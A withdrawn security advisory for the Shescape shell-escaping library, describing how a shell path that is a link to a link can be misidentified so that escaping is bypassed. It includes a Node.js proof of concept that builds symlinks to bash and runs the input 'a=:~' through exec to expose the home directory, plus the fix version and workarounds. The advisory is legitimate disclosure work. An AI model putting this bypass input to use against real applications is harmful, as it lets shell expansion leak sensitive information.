Withdrawn Advisory: Shescape has possible misidentification of shell due to link chains

Withdrawn Advisory

This advisory has been withdrawn because it falls outside the https://github.com/ericcornelissen/shescape/blob/a2544a1c78cae19d0e81a485b997bf0b0fcc2c12/SECURITY.md#threat-model. This link is maintained to preserve external references.

Original Description

Impact

This impacts users of Shescape that configure their shell to point to a file on disk that is a link to a link. The precise result of being affected depends on the actual shell used and incorrect shell identified by Shescape.

In particular, an attacker may be able to bypass escaping for the shell being used. This can result, for example, in exposure of sensitive information, consider the following proof of concept (targeting Shescape v2):

import fs from "node:fs";
import { exec } from "node:child_process";

import { Shescape } from "shescape";
import which from "which";

/* 1. Set up */
const shell = which.sync("bash");
const linkToShell = "./csh";
const linkToLink = "./link";

fs.rmSync(linkToLink, { force: true });
fs.rmSync(linkToShell, { force: true });
fs.symlinkSync(shell, linkToShell);
fs.symlinkSync(linkToShell, linkToLink);

/* 2. Misconfiguration */
const execOptions = {
  shell: linkToLink,
};

const shescape = new Shescape({
  shell: execOptions.shell,
});

/* 3. Payload */
const userInput = "a=:~";

/* 4. Attack example */
exec(
  `echo Hello ${shescape.escape(userInput)}`,
  { shell: execOptions.shell },
  (error, stdout) => {
    fs.rmSync(linkToLink);
    fs.rmSync(linkToShell);

    if (error) {
      console.error(`An error occurred: ${error}`);
    } else {
      console.log(stdout);
      // Output:  "Hello a=:/home/user"
    }
  },
);

Patches

This problem has been patched in v2.1.9 which you can upgrade to now.

Workarounds

If upgrading is not an option, either avoid using a shell or make sure the shell path you use is not a link to a link.

References

• Shescape Pull Request #2388